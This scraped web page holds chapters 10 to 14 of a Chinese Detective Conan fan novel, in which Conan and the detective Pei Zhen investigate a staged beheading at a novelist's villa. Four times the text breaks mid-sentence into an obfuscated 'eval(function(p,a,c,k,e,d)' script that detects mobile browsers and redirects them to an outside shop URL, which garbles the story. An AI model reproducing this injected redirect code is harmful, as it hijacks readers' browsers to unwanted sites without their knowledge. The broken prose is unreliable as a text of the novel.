月亮直直地从天上照射下来,给眼前的景色涂抹上一层银辉。空地的中央是一小洼的水池,荡漾着微薄的光。这里没有树木遮掩,也没有草丛拦路,所以他们很轻易地就看见了,一个人影正高高地举起一柄形似镰刀的利器,在圆月下,朝着身下人砍去! 10. 第 10 章 这实在是一场唯有梦里才可以见到的奇幻般的恐怖场景。 黝黑的密林里静悄无声,银色的圆月高居天穹,水池的水面倒映着一切,下方的人在不断地挣扎颤抖着,但上方的人却毫不留情,他脚踩在对方背上,身上长袍垂落而下,听见追踪人闯入的声音,似是往这边看过来一眼,一张苍白带笑的面具出现在众人眼前,可下一秒—— “唰——”他残酷地将手中的长镰挥斩而下,过快的速度甚至还引起了空气的震颤。 下方的人不再动了,一个圆圆的东西滚落下来,喷涌而出的液体侵染了整个水池,一股浓郁的血腥的气息直冲而来,所有人都惊呆了,这可怕的一幕让他们无法动弹,就像是有无形的荆棘攀爬上他们的身体,纠缠着让他们出声不得。连原来做过刑警的毛利小五郎也无法立时反应过来。 “老爷啊!!”突然,一道凄厉的惨叫声刺破他们的耳膜,打破了他们的僵直。几人寻声望去,看到提着灯的老管家正往后一倒,凑的近的高司启明没来得及伸手,只能让对方昏倒在湿冷的土地上。 “不好,”柯南第一时间反应过来,他立刻回转过视线,但也只能瞧见行凶者最后消失在密林中的一抹背影,“他逃走了!” 正待要追,一只手按压在他的脑袋上,止住了他的动作,“毛利叔叔!”柯南着急大喊。 “去看看尸体吧,”毛利小五郎沉着脸:“确认一下,是不是真的是那位长川右介。” 怎么可能认错呢?在看见那个穿着和服的身影时,老管家第一时间就认出了他的身份,他服侍了对方几十年,他的身形他无比熟悉。而当那人挥下镰刀时,他眼睁睁地看着自家老爷身首分离,就像是一场噩梦,他还没有从梦中醒来。 “太危险了。”裴真走上前来,他对柯南说:“还不知道这个人的身份,和之前我们追的人有什么关系,是否是同一个人。如果不是,那我们要面对的就是两个极端危险的凶犯,他们和那些之前报道中用计谋杀人的人不同,是真的能正面杀死人的。在实力差距过大时,我们要学会保护自己的安危。” 柯南怔了怔,他抬起的脚也落了下来。 “是啊,”一边的高司启明拼命推着眼镜,他颤声说:“天太晚了,这里太黑,熟悉地形的管家也昏倒了,我们还是等警察来吧!” 可恨,柯南暗自想,他们都不知道自己身上携带着阿笠博士为他制作的道具。 毛利小五郎去检查那具尸体,一些最基本的尸检他还是有能力做到的。柯南悄悄跟上前去。裴真想了想,还是过去帮了忙。 过了有近一个小时,这行人才终于又回到了别墅。奔波了大半夜,结果却是见到了这么可怕的凶杀案,几人的精神都有些不济,毛利小五郎甚至还有腹痛,等回到房屋里,他的脸色都发青了。 小兰她们早就等在大厅里了,女仆爱莉端上来温热的水,给他们每个人送过来。 “管家爷爷这是……”看到被背着回来的老管家,小兰担忧问。 毛利小五郎深深吸了口气,简短地将他们碰到的事说了出来。听见这栋房子里隐藏着一个持刀的歹人,留下的人都不免心中骇然,而之后密林里的斩首之事,就更是让他们惶恐不安了。 “警察还要多久才过来啊?”池田义弘又擦起了汗,他好像一紧张就容易出汗,但他这个人又十分容易紧张。 “我可以去拍张照片么?”后面醒过来的稻田真司害怕中带着点兴奋问。这可是个大新闻啊,凶杀与破案,是报社中常热点,民众们也愿意关注,讨论度一直持高不下。 倒是罗织幸子好似还没有反应过来,她犹疑道:“他……就这么死了?”但沉默了一会后,她又冷哼一声:“死的好,他早该死了!” 这发言让好多人都看向她,柯南利用自己小孩的身份,萌萌询问道:“这位大姐姐不是那位作家的编辑么,为什么你看上去好讨厌他啊?” 罗织幸子抽起了烟,她斜视了大家一眼:“怎么,你们该不会怀疑我是疑犯吧?” “我可做不到将一个大男人掳走到森林里,然后引你们过去,在众目睽睽下将他斩头的壮举,”这位女编辑面容有些消瘦,虽然妆容并不浓重,但微高的颧骨总给人一种刻薄的味道,“我倒是想,可力气不够。” “还不能确定是一个人哦。”柯南歪着头道。 “也说不准,”毛利小五郎在一边状似思考:“说不定他就真的是想要将我们引过去,然后特意在我们面前来一场表演……对,就是表演犯,最近美国电视里不是说了么,连环杀人犯就是喜欢这一套,还取了各种各样的外号!” 喂,不要被带偏了啊喂!柯南笑得有些无力,再说了,那些外号都是媒体取的,而这个家伙现在也只是杀了一个人。 裴真在一旁没有参与进去,虽然他在来这里之前抽出过一张【推理】卡,但这一次的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175944|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事件…… “我们还是先去长川右介的房间看看吧,”柯南建议道:“那里说不定是第二个案发现场。” 他的建议被听取了。所有人都上了楼,没有人想在这样的情况下落单。 “这是……有搏斗的痕迹,”柯南在细细检查:“窗户是从里面撞开的,我们追上去的时候,那个人身上没有背着人,也就是说,在闯入者来之前,这窗户是关着的。” “长川右介其实早在我们来之前就已经不见了!”柯南心中念头如电闪:“逃跑者才是撞破这一点的第一人!” “平常老爷都不允许我们进入他的房间,”一边的女仆在毛利小五郎的询问下回答道:“他经常在这间房间里构思他的剧情,他写下的纸张都是动不得的,谁要是违背了,就会遭受他的痛骂。” “原来如此,”毛利小五郎恰有其事地点点头:“私底下原来是这样的人吗?也就是说,你们其实很讨厌他?” “诶,”女仆爱莉有些慌乱:“不,不是这样的。长川老爷虽然人很凶,但,但他开的工资很高,都有我原来工作的两三倍了!” “那他就是很有钱了?”毛利小五郎在进行思索:“为钱杀人也不是不可能的,那么,你们有谁知道长川右介的藏宝处,比如说保险箱之类的?” 女仆都有些手足无措了:“这些事情……” “这些事情他们这些仆从都是不知道的,”一道沙哑的声音从人们背后响起,毛利小五郎往那边看去,见到管家终于醒了过来,在旁边记者的搀扶下,往这里走来。他脸上没有丝毫血色,走了几步就开始喘气:“贵重的财产都存在银行里,密码和钥匙只有老爷知晓,其它的在我手里,具体的数目我们都不会外泄的。” 柯南却注意到了另一点:“他们?” 毛利颔首:“那他就没有什么侄子之类的亲戚吗?等他死了就可以顺理成章地来继承财产的?” 管家张了张口,一瞬间,他的脸色好像更苍白了,柯南都担心他下一刻会立时死去。 那片梦的痕迹终于蔓延到了现世,老管家恍惚间又看见了那一轮圆月,同样的夜晚下,莲实夫人站在冷风中,好似回转过头来冲他微微一笑……但下一秒,黑袍人挥下镰刀的画面驱散了这一幕……不,老爷!管家忍不住捂住胸口,两幅画面飞快的交错令他思绪紊乱,整个人再次摇摇欲坠。 但他终是没有否认毛利小五郎的问话。 11. 第 11 章 毛利小五郎眼中一亮:“还真有这样一个人?” 老管家神情不定,半晌,在众人的逼视下,他才缓缓说道:“莲实夫人当年确实有一个孩子……” 时光往前流逝,初春的阳光尽情泼洒在这片别墅的花园里,在一地开得灿烂的花儿中,一个黑发的小孩拿着一个小铲子,正在埋藏着什么。花园的外围处,一位美丽的夫人面带微笑地看着这一幕,等了一会,她走上前来,用手里的丝巾擦去他脸上的污泥。 “看,这是有甲壳的虫子!”孩子掏出一个小黑点,开心道。 夫人上半身往后倾了倾,可真快,她就无视了这个小东西,“今晚你爸爸就要回来了,晚上就要和我们一起吃饭,是阔别已久的聚餐,你高兴吗,由利?” 孩子先是弯起了眉眼,但下一瞬,他就皱了皱鼻子:“可以不吃花椰菜吗?” “不可以哦。”女人伸出手指,点了点他的鼻子。说罢,她就牵起他的手,往屋内走去,“让美内婶婶将你清理一下,这个样子,可不能让你爸爸瞧见。” 孩子嘴里咕哝了些什么,二者的身影消失在花园里,只余下这空旷的阳光。 “我一点也不喜欢花椰菜啊,”那小小的声音没有任何人听见,“还有由利。” 暖色逐渐褪去,露出老管家那张苍老的脸,“夫人很疼爱她的这个孩子,精心教养他长大,如果一切顺利,他会像如今的老爷一样,从这房子里走出去,读书、交友、带回自己的爱人,然后生下新的孩子。可惜,”老管家语气沉重:“在当年的那一夜,夫人不幸从高处摔下,失去了自己的生命,老爷……老爷悲痛欲绝,所有人都慌了,他们不知道该做些什么。等他们回过神来,将事情处理好的时候,他们就发现,原本在这府邸中的小少爷,不知何时失去了踪迹。” “你的意思是说,”柯南质问道:“他有一个孩子,但早就失踪了是吗?” “是的。”老管家点头。 “你们没有去找过吗?” “……自然是有的。”老管家头微微低下,瞳孔转动了下,视线下移。 柯南叹了口气:“现在可是出现了凶杀案哦,那个人下手极度残忍冷血,很有可能就是和你家老爷有着深仇大恨,你如果知道些什么,还是赶紧说出来吧。警察来了也是要查询这些的,但在他们还没来的这段时间里,那个人说不定还会第二次动手,那个时候,死的是谁就说不定了。” 周围人打了个寒颤。最紧张的池田急急催促道:“是啊,赶紧说吧。反正人都死了,说出来说不准还是为他报仇。” 老管家苦笑了下,他开了口,“其实,”他涩声道:“那个地方,我们早就知道,并且,也都还去过。” “啊?”小五郎有些不明白。 柯南更快反应过来:“你是说林子里的那个案发现场!” “没错,”既然已经说出来了,老管家也不再隐瞒:“我们居住这里几十年,那个地方又不远,怎么可能不知道。老爷去过,莲实夫人也去过,他们都很喜欢那里。” 没管这些话让在坐的几人多么震惊,老管家继续道:“老爷写书喜欢从身边取材,上一本书没有将那里写进去,他一直很遗憾,这一次写新书,他同我说过,那里是一个很重要的地点。” 隐隐有头绪从柯南的脑海里一闪而过。他急忙想要抓住,“那除了你们之外,还有谁知道?” “还有,”管家看了看身边人,女仆有些茫然,他摇摇头:“还有别墅里的花匠,田守仁。” “你们这里还有一个花匠?”罗织幸子质疑:“那我们怎么从来就没有看到他?” “他请了假,说是要去接一个朋友,”管家说:“他不仅是府邸里的花匠,也还兼职老爷的司机,一些日常的食物和生活用品,都是由他负责从镇里采购运送过来。” “他是什么时候请的假?”柯南忽然想到了什么:“是紧急请的假?” “是爱莉发现的请假条,”管家如今也是有什么就说什么了,“他离开得猝不及防,我们都没有预备措施。” “啊!”毛利小五郎在这个时候,脑筋一下子转得飞快:“就是因为这样,所以前天我们不得不自己租车上来,所以我才被那奸商……” “你也被那奸商抬了价?”记者稻田真司眼中一亮。 罗织幸子冷声道:“我可不相信你们,我是自己开车过来的。” 管家有些抱歉:“是我们没有处理好。” 柯南没管他们歪了的话题,收集到的所有信息在他脑中交织,忽然,他又想起了自己带过来的那本长川右介写下的《月光盛诞》的书,书中的女主角与现实中莲实夫人如出一辙的死因,一道闪电从他的脑海中乍亮! “原来如此,”他喃喃道:“我终于知道为什么会是那里了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175945|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么哪里?”一旁被抢了风头的毛利小五郎有些不满地靠过来,他道:“说起来你小子,今天晚上很活跃嘛……” 柯南环视了一下众人,视线在其中一人身上停留了下。刚想要拔腿就跑,另一个身影就稍微吸引了一下他的注意。 裴真正坐在窗边,那本被借走的书被搁置在一旁,看样子是已经阅读完了。他望向窗外,窗外一片漆黑,但有银色的月亮沉默又慈爱地将所有的光铺撒下来,它注视这一切,罪恶与正义,荒诞与现实,从始至终,它都沉默不语。 “他都不好奇吗?”模糊的念头从他的心中闪过,柯南来不及细想这些,就跑进了长川右介失踪的那个房间。之前检查过的痕迹再次映入他的眼帘,“果然,这些痕迹,”他目露精光:“都太刻意了。” 夜晚最深沉的时刻已经过去了,虽然凶杀案很恐怖,但人的精力是有限的,不敢离开客厅,可打个盹还是可以的。一片寂静中,有人悄悄靠近过来,小声问道:“小哥,小哥。” 裴真诧异地看向池田义弘。这电视台的职员有些不好意思道:“毛利老哥和那小孩跑上楼了……我就是想来问问,我们不可以先逃走吗?警察赶来需要时间,但我们逃走可不管这些,只要有车……” 裴真摇了摇头,他好笑道:“逃走没什么不好意思说的。只是,我们在上来之前,就已经检查过了车辆。”他面露惋惜:“轮胎都被扎爆了,没有一辆完好的。” “明明白天里还是好的啊。”池田义弘失魂落魄地走了。 又过了一会,裴真站起身来,小心没惊动任何人,离开了这里。 虽是保养得很好的古旧别墅,但空气中还是混杂着一种沉闷的阴冷之气,站在处于背阳方位的走廊里,这种感觉便尤甚了。裴真一直在往前走,直到见到一个慌乱不安的身影。 身影听见声音,先是一惊,但很快,她就放松了下来:“是你啊。” “现在愿意和我谈谈了吗?”裴真很沉稳:“今井爱莉小姐。” 爱莉女仆面色恍惚:“我,我不是故意不理会你的。只是,你说你是接了我姐姐的委托过来的。她……她没有和你说过我和她之间的关系么?” 原来今次不是他们第一次暗地里的交谈了,只是上一次,不是在这里,也不是在这样的时分。而那时,裴真之所以没有选择一下车就去进餐,为的就是这位在长川家任职女仆的爱莉小姐。 12. 第 12 章 “她是天上的神鸟,我,不过是地上灰扑扑的麻雀罢了。”今井爱莉眼中噙着泪道。 上次的时候,她的态度更像是避之不及。裴真特意留在最后才选房间,但只是刚道明自己的来意,她的脸色就变了。原本沉默恭敬的脸上带上了惶恐,整个人更是往后退出两三步,看着裴真就像是在看绝不该出现在这里的东西。 裴真微微皱眉,他意识到了自己这次委托的不顺利。 “不,我不认识什么今井珠,”她艰难道:“你找错人了。” 裴真摇了摇头:“长川家现在只有你一位女性,而且她也说了,她的妹妹就叫爱莉。” “够了,”没忍住,她提高了音调。察觉到自己的失态,也知道自己隐瞒不下去了,她撇过脸道:“就算我是今井爱莉,我现在过得如何,又和她有什么关系呢?” “当初就不在一起了,现在又找过来,她是想做什么?”她的神色开始变冷,不待裴真回应,转过身就匆匆跑远了。这便是他们上一次简短的交流。 确认对方妹妹的安危,裴真已经做到了,但难就难在后来。长川家现今就像是一只被挂在大火上烧开的茶壶,蒸汽沸腾间,谁都不知它会在何时爆开。在裴真看来,柯南的到来就预示着这一次一定会发生什么,平静了这么久,说不定还是一次大事件。 一点微光从爱莉身上飘落,汇聚进他的溶液球中,给还差一丝的它补足了最后的缝隙。这次遇见的每个人都有给他贡献出关注,虽不如柯南他们,但也比路人多很多,总数都到了50+,再加上之前积累的,山下与毛利一行人遇见的,已经到了98.6,此刻,这最后的差额也被补足了。 再抽一次试试吧。裴真这样想着,回到了他的居室中。 “我也想过要去找她,”时间回到现在,爱莉咬着唇:“可那只是我几年前的想法。我和她已经十多年没见了,自从她跟着母亲一起去往国外后。” 这不过是一个很俗套的父母离异的故事,姐妹两个人,一个跟了父亲,一个跟了母亲,跟了父亲的,在国内按部就班的长大,父亲没多细心照顾她,任由她浑浑噩噩地长大;而另一边,那位姐姐在陌生遥远的国外,却是打拼出了一份自己的事业,她过得鲜活又靓丽,简直就像是自己的人生主角。 爱莉永远记得两人分开的那一天,母亲头也不回,是姐姐转过头来看了自己最后一眼,自此,她们姐妹二人,就踏上了两条完全不同的路。“我不敢去找她,我在亲戚那里听过她的名字,她……和我完全不一样,”今井爱莉抑制不住自己的情感:“在我最低谷的时候,我忍不住会去想,为什么当初和母亲离开的人不是我?” “如果是我,就算没有她现在的成就,也一定不会是如今这般吧?”她好似想要一个回答。裴真没有回答她,她人的人生别人没办法评议,设想没发生过的事,无论怎么说,都太主观了。 他只是说:“不管怎么样,她都是让我来帮帮你的。” 听到这话,先前一直压抑的眼泪瞬间从爱莉脸颊上滑下,她喃喃道:“是啊,你是来帮我的……” 裴真道:“是的,所以不管有什么事,你都是可以告诉我的。” 今井爱莉彻底崩溃了,她瘫坐在地上,双手捂住脸,泣不成声:“我不知道的!不知道会发展成这样!” “不知道什么?”裴真很耐心,侦探这一行,细心还不够,耐心也是基本。 “他骗了我,他们都在骗我!”爱莉带着哭腔。 “他们?他们是谁?” 良久,爱莉才慢慢说:“是长川右介。他说,会让我做他下一本书的女主角,就像、就像当年的上川崎莲实一样。” 这位女演员的经历很传奇,她的逝去也让很多人感慨。谈论得多了,就有人说,她若是继续走下去,说不定会是下一个藤峰有希子。 “他骗了我很多,他说我会是下一个长川夫人,”爱莉呓语般说道:“他说会让我去演戏,就演为我写出的角色,我一定会红的,那时,我的形象就会出现在大屏幕上,甚至会流传到国外……” 裴真深吸口气:“你做了什么?” 爱莉沉默下来,她没想到这位一直跟在毛利小五郎身后的年轻人这样敏锐,直接问到了问题核心,她最后还是道:“他骗了我,我想要报复他。那个时候有人联系上了我,所以,我拿走了他新书的稿件。” 这已经是触犯法律条例了。裴真有些头疼。 “我只是想要报复他!”爱莉忽然喊道:“凭什么,他从我这里拿走了那么多,却什么代价也不用付!我只是想让他也和我一样痛苦无助!” “那另外一个人是谁?”裴真问。 爱莉咬牙:“我没想过让他死。我只是将他的稿子送出去而已,我不知道是不是那个人做的,我、我也没见过那个人,我们都没有亲自见过面……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175946|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 裴真点点头,看来这条线索是断在这里了。他安抚了爱莉一会,然后转身离开。 独留今井爱莉一人在后方,她捂着脸痛哭出声:“我才不要她可怜我……” 听见接近的脚步声,柯南躲在转弯的墙后,往后缩了缩。等做完这一动作,他才有些黑线:“我躲什么,只是偷听到了一些案件的相关信息而已,这有什么不能暴露的。” 裴真离开了这处走廊。柯南偷听到的消息只是证实了他自己之前的那个猜测,案件的一部分他已经梳理清了,凶手也有了头绪,只是还缺少了决定性的证据。柯南明了,这里面牵扯到的爱恨情仇,或许比他想象中的,要绵长复杂的多。这是一出悲剧,不是长川右介的悲剧,是那位真凶的悲剧。 有些人的苦恨,经由时光的酝酿,不仅没有散去,反倒孕育成了毒药,在十几年后,毒死了别人,也毒伤了自己。 ===== 裴真和柯南都回到了别墅大厅,毛利小五郎一看见这个到处乱窜的小子,就气不打一处来:“你又跑哪去了,我只是一晃神,就没看到你,不知道这个房子里现在很危险吗?” 一边的小兰也生气担忧地看着他,但很快,她就注意到了裴真,“还有你,”毛利小五郎忽然转过头来,怒目而视:“别以为你不是我家的小子我就不敢骂你,敢一个人出去,看来你的胆子也很大嘛。” “啊?”裴真惊诧。但反抗无用,二人都被毛利小五郎训斥了一顿,和裴真不同的是,柯南的头上又收获了两个大包,这让他用怨念的眼神瞧了裴真好一会。 裴真故意不理会柯南。柯南只好自己一个人跑到另一边,他跑到那位虚弱的老管家身边,用一种小孩子的声调问:“我之前听说你家的老爷一直想要超越工藤优作,那位莲实夫人也是一位很有名的女演员,那他们的那个孩子,是不是和工藤新一一样大啊?” 老管家奇怪地看着他,他还记得这个孩子之前问他问题时的沉稳,柯南也咳嗽了下,意识到了自己的失误,但没关系,习惯就好,他继续问:“我只是有些好奇,你说你们家的少爷丢了,那么,如果有一天他回来了,只是长大了,你还能认出他不?” 老管家愣了下,“少爷应该比那位工藤新一要大,老爷和莲实夫人其实很早就在一起了,只是后来才将她接回家里,至于长大后的少爷,”他顿了顿,语气突然十分笃定道:“我肯定能第一时间认出!” 13. 第 13 章 老管家对自己很自信。 但柯南不相信他,他只信自己亲眼见到的,而事实就是,那个人一直出现在他眼前,他也没有一次将之认出。 柯南呵呵笑了下:“那有关你家老爷的新书呢?他既然在餐桌上对工藤优作的新作那么期待,言辞间更是要与之对比,想来他的作品是已经完成大半了吧?” 老管家沉默了下来。 “为什么不说呢?”柯南的言辞锋利:“之前就一直转移话题,现在仍想隐瞒,是长川右介写的书不好……还是,写书的过程中有什么不能让人知道的?” 老管家感到了窒息,像是一支从十多年前就射出的箭,它穿梭了黑夜,如今正中他的咽喉,他张了张口,在这宿命般的摆弄前,丢盔弃甲,投子认输。 柯南满意地离开了。 黎明快要到来了,黑夜带来的恐惧感逐渐从人们心上褪去,在又拨过去一个电话后,池田义弘松了口气,他拍了拍胸脯道:“警察就快要到了,没关系,我们就要安全了。” 听到这话,大厅中的所有人都肉眼可见的放松下来。似是察觉到了这种氛围,池田义弘开了个小玩笑:“也是那凶人思虑不周,现代人犯罪,怎么能不先将通讯掐掉呢?” 可惜他的玩笑没能取悦众人,大家都冷冷地看着他,池田义弘的脸上又开始冒汗了。 “池田老兄说的也没错,”毛利小五郎在一边打着哈哈:“不禁用通讯,小看了警察就是他犯下的最大的错,但他更大的错,就是遇见了我毛利小五郎,”他叉腰昂首吹嘘着:“只要我小小一出手,他就如网中的飞蛾……额呃呃……” 毛利小五郎夸张地在原地打了个转,然后猛然坐下,头垂落而下,静默不语。 在场的诸人都很惊讶,池田义弘是最先反应过来的,他面上露出极度的惊讶,尖声叫道:“难道,这就是传说中的名场面……” “沉睡中的小五郎。”另一个声音接过了他的话,“咔嚓!”还伴随着一声相机按下快门的声音。池田义弘撇过头去,露出不满:“你还真是会找机会啊,这一次一定会是新闻的头条了吧。” 稻田真司笑着摸了摸头,没有说话。 罗织幸子不耐烦道:“不是就要结束了吗,还要搞出什么幺蛾子?” 高司启明出言安抚,他温和笑着说:“小五郎先生在这次事件中出力最多,他可能是有不同的见解吧。” “啊啊,是这样吗?”就在这时,柯南从后方一点的位置走出,他手里拿着一个手机,不断地在与对面人交谈:“原来如此,这可是个大发现,是非常重要的线索,对破解案件非常有帮助。” “柯南,你在和谁打电话?”小兰强打起精神,不解道。 裴真有些好奇地打量他,真是奇妙,他在这场上关注这小家伙最多,但只是一个不留神,这家伙就不知钻到哪里去了,等出来的时候,毛利小五郎就已经“躺”下了。 “我在和警察叔叔打电话哦,”柯南用稚嫩的声线回答:“他们在山腰的地方发现了一个小木屋,里面有一些东西,对找出那个人很有帮助的呢。” 裴真在心中叹息,他从来没怀疑过柯南能不能破除这个案子,这是前世一千多集的动漫带给他的自信。他只是没想到,来这里完成一个委托,居然会卷入暗夜杀人案,这便算了,决定要成为侦探的他,也不是不能在这其中给出自己的帮助,这样既能让他们看见自己的能力,也能尽快回到家中……可是在到来这里的当晚,一次普通的抽卡改变了这一切。 “什么?”刚才说话的池田义弘迷惑,这和他刚刚听到的不一样啊,警察不是还在路上吗? 柯南赶紧溜走。 “咳咳,”“毛利小五郎”终于出了声:“是我让他们先去搜山的,有搜救猎犬,应该能比我们找到更多东西。” “那为什么……” “是为了不惊动凶手!”“毛利小五郎”冷喝。 众人一惊,罗织幸子连忙道:“什么凶手,不是流窜过来的杀人犯吗?” 裴真扫视了他一眼,没看到不对,最后将目光放到一边的桌子下,垂下来的桌布挡住了他的视线。 “那个人是那个人,凶手是凶手,二者决不可混为一谈。”柯南躲在下面,手里抓着蝴蝶变声器,肃然道:“如果你将他们看作同一人,那就是中了凶手的计谋了!” 罗织幸子一噎,脸色难看,却是不好再说什么了。 “那警察发现了什么?”高司启明推了推眼镜。 “尸体。”柯南冷声道:“田守仁的尸体,这位长川的花匠兼司机,其实早在我们来的前一天就已经死去。” “什么?!”池田义弘再次大惊,他的脸色也代表了其他人的脸色。管家更是闭上了眼。 “为什么要杀一个老仆人呢?”稻田真司惋惜道:“还特意掩盖了他的失踪。” “那就要去问问我们长川家的管家了。”“毛利小五郎”的头颅动也不动。“什么是只有他们自己才知道的事,就像十多年前的那次坠楼,这一次的月夜断头,起码有一点,它们之间是完全相同的!” 老管家的身形晃了晃。 不待他再纠结,柯南便毫不留情地说:“那就是,它们都是出自长川右介的书中故事!” 众人迷茫中也带着震惊。小兰反应快些:“你是说,这一次的事,其实是出自长川右介的故事,啊不不,上一次也是,不对啊,书上不是说了,长川右介是出自对亡妻的思念才写的书吗?” “他混淆了概念,”柯南道:“他不是因为妻子写了这本书,而是因为要写书,才有了妻子!” 这一先后顺序的一颠倒,竟无端给了人一种毛骨悚然之感。老管家叹了口气,他眼神黯然:“是的,毛利先生说的没有错。” 他神情恍惚,像是想起了很多年前的那一幕。长川右介的脸在夜晚的灯光下满是兴奋,地上散乱着无数纷乱的纸张,犹如抓住了最后一根稻草,他高声喊道:“不错,这样做,只有这样做,才能够将工藤优作压下去。他算个什么东西,不过是写了一个暗夜里的鬼祟之人罢了,居然能得到这样的桂冠!” 一旁的老管家十分震惊:“可是,老爷,这样干,实在太过火了……” 长川右介转过脸来,尚还不曾如现今这般老态的脸上,是一种不疯魔不成活的癫狂,“那又怎么样?他们都只是在脑海中无能狂想罢了,只有我,只有我完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175947|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .完.全.全地把真实搬到书页上,我不成功,谁成功!!” “哈哈哈哈哈!” 那晚长川老爷的疯狂大笑占据了老管家的整个脑海,让他做了很久的噩梦。而之后,就是一切计划的施行了。 听到老管家的坦白,现场的几人都难以接受,小兰更是颤抖地说:“你是说,莲实夫人的逝去,其实是长川右介策划的?” 老管家撇过脸。“毛利小五郎”语气更冷:“不止如此,一切的悲剧,其实都是起源于那个人的自私与贪婪,他将自己视作了上帝,将这栋别墅视作了他的舞台,这里每个人,都是他提线的木偶,所有的一切,都是为了成就他笔下的一本书。” “小兰,”他忽然喝道:“你还记得《月光盛诞》这本书最后的凶手是谁吗?” 小兰一愣,继而有些无措道:“我,我还没看完……” “凶手就是‘我’自己,”静默中,裴真叹道:“别看前面描绘得有多悲切,都是‘我’的伪装。他其实早就厌倦了自己的妻子,在外面另结了新欢,”顿了顿,他微微摇头道:“也有人说,更真实的情况是,他囚禁了那个女人,将虐待看作欢爱,将她视作幸福的。只是后来,女人生病了,姿容不再,他又喜欢上了更好的,于是便动手杀了她。” “将一分的独占欲说成是十分的爱,书中的‘我’,可谓是一头填不满的野兽。”书中书外都是。 池田义弘擦擦汗,不可置信道:“那他在最后写出来,难道就不怕……” “如果查出来了,他又怎么还会在外面?”罗织幸子讥诮道,她颤抖着手,想要拿出一支烟抽:“哈,就是这么个东西……居然……” “将书中的故事在现实中复映出来,又通过现实人的演绎,去书写故事的后续,”柯南冷静道:“他通过这些来激发他的灵感,并修补他书中的不协,以此来获得他的成功。” “而至于其他人在这其中受到了什么伤害,他是不想理会也不想管的,”柯南语气一转,忽而道:“你说是不是这样,那一晚没有跟我们一起追出去的稻田真司先生?” 稻田真司捧着相机站立在一旁,整个人安静得有些诡异,就在其他人心中泛起嘀咕的时候,他突然抬起头:“毛利先生是在说笑吗?那种人心里想的事,我又怎么会知道?但大概是不会忏悔的吧,都做了出来,又怎么会后悔?” 他环顾了一下周围,最后将目光凝住在毛利小五郎身上,感慨间,竟觉着这一幕有些眼熟,他回想了一下,释然而笑:“是了,这就是他说的那个时候了……” “如果你现在选择停手,说不定还来得及。”时光一晃,镜头也被拉到密林中,安静的黑夜里,稻田真司的眼前来到了一位披着黑色斗篷的人,他身形不高,但一举一动丝毫不漏,从微微抬高的兜帽下,稻田真司感受到了一种平静的凝视,“你并没有真正动手,那条退路还在,只要毛利小五郎离开了,一些破绽算不得什么。” 稻田真司就笑了起来,他观察着自己的手掌,像是看着上面即将沾染的血,他轻声道:“没想到你也会过来。只是,”他转过脸来,模糊的面容上早已是泪流满面:“你知道吗?有些人,不杀了他,我就无法活下去。” 14. 第 14 章 大概很少人能体会到这种心情,多数人都是平静而安宁地长大,无法共情他胸中那犹如烈火灼烧的炙热之痛。 黑斗篷人能看见他眼中刻骨的坚定,这是他第一次认识到一位复仇者的清醒与执着,命运将他推到了此处,他不再做些什么,恐怕会彻底一败涂地。 见劝慰不动他,黑斗篷人也不再做无用功。他只是道:“那你就要做好准备了。毛利小五郎,你不可只看他的表面,那个家伙,有着一双多出的敏锐缜密的眼睛,在你没预料到的时候,就会用言语将你逼入险境,令你再无出逃的机会。” “没关系,”稻田真司一愣:“我会面对他的。” “那么,要小心了。”黑斗篷人不再说,他转身静悄悄地离开,融入到黑夜中,就像是一缕墨,没有留下丝毫烟痕。 稻田真司这才放下心,他凝视着黑暗,又转回头来,看着天上那一轮过分皎洁的明月。“真是奇怪,他为什么会突然来劝我?”但这样的疑惑也极快从他脑中消失,他低下头来,着手安排自己的布置。 裴真走在漆黑的密林里,在这一段路中,月亮照耀不下来,他又没有带灯,只能用手机带的光源慢慢往前行进。他其实是不想出来的,在和女仆爱莉交流不顺畅后,他是准备先去入睡的,赶了一天的路,如果不是最后与毛利小五郎同乘了一辆车,说不定他还会更累。没有人告诉他,做侦探首先要考验的是体力。 可是……一发出货。 [身份·青铜]【望川涉(富二代)】 